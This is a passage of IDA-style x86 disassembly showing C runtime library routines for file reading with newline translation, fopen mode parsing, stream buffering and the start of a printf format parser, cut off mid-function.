sub_41F8E3	proc near		; CODE XREF: sub_41BAFA+A9p
					; sub_41C52F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F9B7
		test	al, 40h
		jnz	loc_41F9B7
		test	al, 2
		jz	short loc_41F909
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F9B7
; ---------------------------------------------------------------------------


loc_41F909:				; CODE XREF: sub_41F8E3+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F91D
		push	esi
		call	sub_4241F7
		pop	ecx
		jmp	short loc_41F922
; ---------------------------------------------------------------------------


loc_41F91D:				; CODE XREF: sub_41F8E3+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F922:				; CODE XREF: sub_41F8E3+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F9BC
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F9A6
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F9A6
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F97B
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F964
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DD060[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F969
; ---------------------------------------------------------------------------


loc_41F964:				; CODE XREF: sub_41F8E3+6Bj
		mov	edi, offset dword_43D4E0


loc_41F969:				; CODE XREF: sub_41F8E3+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F97B
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F97B:				; CODE XREF: sub_41F8E3+62j
					; sub_41F8E3+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F998
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F998
		test	ch, 4
		jnz	short loc_41F998
		mov	dword ptr [esi+18h], 1000h


loc_41F998:				; CODE XREF: sub_41F8E3+9Fj
					; sub_41F8E3+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F9A6:				; CODE XREF: sub_41F8E3+55j
					; sub_41F8E3+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F9B7:				; CODE XREF: sub_41F8E3+Aj
					; sub_41F8E3+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F8E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F9BC	proc near		; CODE XREF: sub_41BAFA+90p
					; sub_41F8E3+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DD160
		jnb	loc_41FB99
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DD060h[eax*4]
		mov	eax, dword_4DD060[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41FB99
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41FA71
		test	dl, 2
		jnz	short loc_41FA71
		test	dl, 48h
		jz	short loc_41FA31
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41FA31
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41FA31:				; CODE XREF: sub_41F9BC+56j
					; sub_41F9BC+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	dword_4270EC	; ReadFile
		test	eax, eax
		jnz	short loc_41FA84
		call	dword_427094	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41FA6C
		mov	dword_4DBDEC, 9
		mov	dword_4DBDF0, ecx
		jmp	loc_41FBAA
; ---------------------------------------------------------------------------


loc_41FA6C:				; CODE XREF: sub_41F9BC+99j
		cmp	eax, 6Dh
		jnz	short loc_41FA78


loc_41FA71:				; CODE XREF: sub_41F9BC+4Cj
					; sub_41F9BC+51j
		xor	eax, eax
		jmp	loc_41FBAD
; ---------------------------------------------------------------------------


loc_41FA78:				; CODE XREF: sub_41F9BC+B3j
		push	eax
		call	sub_420C7F
		pop	ecx
		jmp	loc_41FBAA
; ---------------------------------------------------------------------------


loc_41FA84:				; CODE XREF: sub_41F9BC+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41FB94
		test	edx, edx
		jz	short loc_41FAA9
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41FAA9
		or	al, 4
		jmp	short loc_41FAAB
; ---------------------------------------------------------------------------


loc_41FAA9:				; CODE XREF: sub_41F9BC+E2j
					; sub_41F9BC+E7j
		and	al, 0FBh


loc_41FAAB:				; CODE XREF: sub_41F9BC+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41FB8E


loc_41FAC3:				; CODE XREF: sub_41F9BC+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41FB7E
		cmp	al, 0Dh
		jz	short loc_41FADF
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41FB70
; ---------------------------------------------------------------------------


loc_41FADF:				; CODE XREF: sub_41F9BC+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41FAFD
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41FAF4
		add	[ebp+arg_8], 2
		jmp	short loc_41FB52
; ---------------------------------------------------------------------------


loc_41FAF4:				; CODE XREF: sub_41F9BC+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41FB70
; ---------------------------------------------------------------------------


loc_41FAFD:				; CODE XREF: sub_41F9BC+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_4270EC	; ReadFile
		test	eax, eax
		jnz	short loc_41FB25
		call	dword_427094	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41FB6C


loc_41FB25:				; CODE XREF: sub_41F9BC+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41FB6C
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41FB47
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41FB52
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41FB70
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F9BC+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41FB57
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41FB57


loc_41FB52:				; CODE XREF: sub_41F9BC+136j
					; sub_41F9BC+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41FB6F
; ---------------------------------------------------------------------------


loc_41FB57:				; CODE XREF: sub_41F9BC+18Ej
					; sub_41F9BC+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_422F09
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41FB70


loc_41FB6C:				; CODE XREF: sub_41F9BC+167j
					; sub_41F9BC+16Dj
		mov	byte ptr [edi],	0Dh


loc_41FB6F:				; CODE XREF: sub_41F9BC+199j
		inc	edi


loc_41FB70:				; CODE XREF: sub_41F9BC+11Ej
					; sub_41F9BC+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41FAC3
		jmp	short loc_41FB8E
; ---------------------------------------------------------------------------


loc_41FB7E:				; CODE XREF: sub_41F9BC+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41FB8E
		or	al, 2
		mov	[esi], al


loc_41FB8E:				; CODE XREF: sub_41F9BC+101j
					; sub_41F9BC+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41FB94:				; CODE XREF: sub_41F9BC+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41FBAD
; ---------------------------------------------------------------------------


loc_41FB99:				; CODE XREF: sub_41F9BC+12j
					; sub_41F9BC+39j
		and	dword_4DBDF0, 0
		mov	dword_4DBDEC, 9


loc_41FBAA:				; CODE XREF: sub_41F9BC+ABj
					; sub_41F9BC+C3j
		or	eax, 0FFFFFFFFh


loc_41FBAD:				; CODE XREF: sub_41F9BC+B7j
					; sub_41F9BC+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F9BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FBB2	proc near		; CODE XREF: sub_41BBE2+126p
					; sub_41BBE2+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DBE54
		test	eax, eax
		jz	short loc_41FBCA
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41FBCA
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41FBCA:				; CODE XREF: sub_41FBB2+7j
					; sub_41FBB2+12j
		xor	eax, eax
		retn
sub_41FBB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FBCD	proc near		; CODE XREF: sub_41BE82+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DBFC0
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41FC06
		cmp	al, 72h
		jz	short loc_41FBFF
		cmp	al, 77h
		jnz	loc_41FD1A
		mov	ecx, 301h
		jmp	short loc_41FC0B
; ---------------------------------------------------------------------------


loc_41FBFF:				; CODE XREF: sub_41FBCD+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41FC0E
; ---------------------------------------------------------------------------


loc_41FC06:				; CODE XREF: sub_41FBCD+1Dj
		mov	ecx, 109h


loc_41FC0B:				; CODE XREF: sub_41FBCD+30j
		or	esi, 2


loc_41FC0E:				; CODE XREF: sub_41FBCD+37j
		push	1
		pop	edx


loc_41FC11:				; CODE XREF: sub_41FBCD+8Bj
					; sub_41FBCD+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41FD00
		cmp	edx, ebx
		jz	loc_41FD00
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41FC9F
		jz	short loc_41FC8F
		sub	eax, 2Bh
		jz	short loc_41FC79
		sub	eax, 19h
		jz	short loc_41FC6F
		sub	eax, 0Eh
		jz	short loc_41FC5A
		dec	eax
		jnz	loc_41FCF1
		cmp	[ebp+var_4], ebx
		jnz	loc_41FCF1
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC5A:				; CODE XREF: sub_41FBCD+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41FCF1
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC6F:				; CODE XREF: sub_41FBCD+6Aj
		test	cl, 40h
		jnz	short loc_41FCF1
		or	ecx, 40h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC79:				; CODE XREF: sub_41FBCD+65j
		test	cl, 2
		jnz	short loc_41FCF1
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC8F:				; CODE XREF: sub_41FBCD+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41FCF1
		or	ecx, eax
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC9F:				; CODE XREF: sub_41FBCD+5Ej
		sub	eax, 62h
		jz	short loc_41FCEC
		dec	eax
		jz	short loc_41FCD5
		sub	eax, 0Bh
		jz	short loc_41FCBE
		sub	eax, 6
		jnz	short loc_41FCF1
		test	ch, 0C0h
		jnz	short loc_41FCF1
		or	ch, 40h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCBE:				; CODE XREF: sub_41FBCD+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FCF1
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCD5:				; CODE XREF: sub_41FBCD+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FCF1
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCEC:				; CODE XREF: sub_41FBCD+D5j
		test	ch, 0C0h
		jz	short loc_41FCF8


loc_41FCF1:				; CODE XREF: sub_41FBCD+72j
					; sub_41FBCD+7Bj ...
		xor	edx, edx
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCF8:				; CODE XREF: sub_41FBCD+122j
		or	ch, 80h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FD00:				; CODE XREF: sub_41FBCD+4Aj
					; sub_41FBCD+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_42423B
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41FD1E


loc_41FD1A:				; CODE XREF: sub_41FBCD+25j
		xor	eax, eax
		jmp	short loc_41FD38
; ---------------------------------------------------------------------------


loc_41FD1E:				; CODE XREF: sub_41FBCD+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DBFBC
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41FD38:				; CODE XREF: sub_41FBCD+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FBCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD3D	proc near		; CODE XREF: sub_41BE82p
		mov	edx, dword_4DD040
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41FDAE
		mov	ebx, dword_4DC02C
		mov	edi, ebx


loc_41FD59:				; CODE XREF: sub_41FD3D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41FD74
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41FD6F
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41FD59
		jmp	short loc_41FDAE
; ---------------------------------------------------------------------------


loc_41FD6F:				; CODE XREF: sub_41FD3D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41FD98
; ---------------------------------------------------------------------------


loc_41FD74:				; CODE XREF: sub_41FD3D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41BEB5
		pop	ecx
		mov	ecx, dword_4DC02C
		mov	[edi+ecx], eax
		mov	eax, dword_4DC02C
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41FDAE
		mov	esi, edi


loc_41FD98:				; CODE XREF: sub_41FD3D+35j
		cmp	esi, ebp
		jz	short loc_41FDAE
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41FDAE:				; CODE XREF: sub_41FD3D+12j
					; sub_41FD3D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41FD3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDB5	proc near		; CODE XREF: sub_41C0CE+17p
					; sub_41C0CE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41FDD3
		mov	ecx, off_43CE88
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41FE25
; ---------------------------------------------------------------------------


loc_41FDD3:				; CODE XREF: sub_41FDB5+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43CE88
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41FDF8
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41FE01
; ---------------------------------------------------------------------------


loc_41FDF8:				; CODE XREF: sub_41FDB5+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41FE01:				; CODE XREF: sub_41FDB5+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4244F4
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41FE21
		leave
		retn
; ---------------------------------------------------------------------------


loc_41FE21:				; CODE XREF: sub_41FDB5+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41FE25:				; CODE XREF: sub_41FDB5+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41FDB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE2A	proc near		; CODE XREF: sub_41C266+46p
					; sub_41C360+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41FF33
		test	al, 40h
		jnz	loc_41FF33
		test	al, 1
		jz	short loc_41FE62
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41FF33
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41FE62:				; CODE XREF: sub_41FE2A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41FE9C
		cmp	esi, offset dword_43D598
		jz	short loc_41FE8A
		cmp	esi, offset dword_43D5B8
		jnz	short loc_41FE95


loc_41FE8A:				; CODE XREF: sub_41FE2A+56j
		push	ebx
		call	sub_42463D
		test	eax, eax
		pop	ecx
		jnz	short loc_41FE9C


loc_41FE95:				; CODE XREF: sub_41FE2A+5Ej
		push	esi
		call	sub_4241F7
		pop	ecx


loc_41FE9C:				; CODE XREF: sub_41FE2A+4Ej
					; sub_41FE2A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41FF09
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41FECC
		push	edi
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41FEFF
; ---------------------------------------------------------------------------


loc_41FECC:				; CODE XREF: sub_41FE2A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41FEE7
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD060[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41FEEC
; ---------------------------------------------------------------------------


loc_41FEE7:				; CODE XREF: sub_41FE2A+A5j
		mov	eax, offset dword_43D4E0


loc_41FEEC:				; CODE XREF: sub_41FE2A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41FEFF
		push	2
		push	0
		push	ebx
		call	sub_422F09
		add	esp, 0Ch


loc_41FEFF:				; CODE XREF: sub_41FE2A+A0j
					; sub_41FE2A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41FF1D
; ---------------------------------------------------------------------------


loc_41FF09:				; CODE XREF: sub_41FE2A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41FF1D:				; CODE XREF: sub_41FE2A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41FF29
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41FF38
; ---------------------------------------------------------------------------


loc_41FF29:				; CODE XREF: sub_41FE2A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41FF3B
; ---------------------------------------------------------------------------


loc_41FF33:				; CODE XREF: sub_41FE2A+10j
					; sub_41FE2A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41FF38:				; CODE XREF: sub_41FE2A+FDj
		or	eax, 0FFFFFFFFh


loc_41FF3B:				; CODE XREF: sub_41FE2A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41FE2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FF3F	proc near		; CODE XREF: sub_41C266+29p
					; sub_41C360+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_420658
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41FF73
; ---------------------------------------------------------------------------


loc_41FF6B:				; CODE XREF: sub_41FF3F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41FF73:				; CODE XREF: sub_41FF3F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_420658
		cmp	bl, 20h
		jl	short loc_41FF94
		cmp	bl, 78h
		jg	short loc_41FF94
		movsx	eax, bl
		mov	al, [eax+42771Ch]
		and	eax, 0Fh
		jmp	short loc_41FF96
; ---------------------------------------------------------------------------


loc_41FF94:				; CODE XREF: sub_41FF3F+40j
					; sub_41FF3F+45j
		xor	eax, eax


loc_41FF96:				; CODE XREF: sub_41FF3F+53j
		movsx	eax, byte_42773C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_420647	; default
		jmp	off_420660[eax*4] ; switch jump


loc_41FFB4:				; DATA XREF: .packed:off_420660o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041FFAD case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_41FFCF:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: .packed:off_420660o
		movsx	eax, bl		; jumptable 0041FFAD case 2
		sub	eax, 20h
		jz	short loc_420012
		sub	eax, 3
		jz	short loc_420009
		sub	eax, 8
		jz	short loc_420000
		dec	eax
		dec	eax
		jz	short loc_41FFF7
		sub	eax, 3
		jnz	loc_420647	; default
		or	[ebp+var_4], 8
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_41FFF7:				; CODE XREF: sub_41FF3F+A4j
		or	[ebp+var_4], 4
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420000:				; CODE XREF: sub_41FF3F+A0j
		or	[ebp+var_4], 1
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420009:				; CODE XREF: sub_41FF3F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FF3F+96j
		or	[ebp+var_4], 2
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42001B:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: .packed:off_420660o
		cmp	bl, 2Ah		; jumptable 0041FFAD case 3
		jnz	short loc_420043
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_420647	; default
		or	[ebp+var_4], 4
		neg	eax


loc_42003B:				; CODE XREF: sub_41FF3F+111j
		mov	[ebp+var_20], eax
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420043:				; CODE XREF: sub_41FF3F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_42003B
; ---------------------------------------------------------------------------


loc_420052:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: .packed:off_420660o
		mov	[ebp+var_10], edx ; jumptable 0041FFAD case 4
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42005A:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: .packed:off_420660o
		cmp	bl, 2Ah		; jumptable 0041FFAD case 5
		jnz	short loc_42007D
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_420647	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42007D:				; CODE XREF: sub_41FF3F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42008F:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: .packed:off_420660o
		cmp	bl, 49h		; jumptable 0041FFAD case 6
		jz	short loc_4200C2
		cmp	bl, 68h
		jz	short loc_4200B9
		cmp	bl, 6Ch
		jz	short loc_4200B0
		cmp	bl, 77h
		jnz	loc_420647	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200B0:				; CODE XREF: sub_41FF3F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_41FF3F+158j
		or	[ebp+var_4], 20h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200C2:				; CODE XREF: sub_41FF3F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_4200DB
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_4200DB
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200DB:				; CODE XREF: sub_41FF3F+186j
					; sub_41FF3F+18Cj
		mov	[ebp+var_30], edx


loc_4200DE:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: .packed:off_420660o
		mov	ecx, off_43CE88	; jumptable 0041FFAD case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
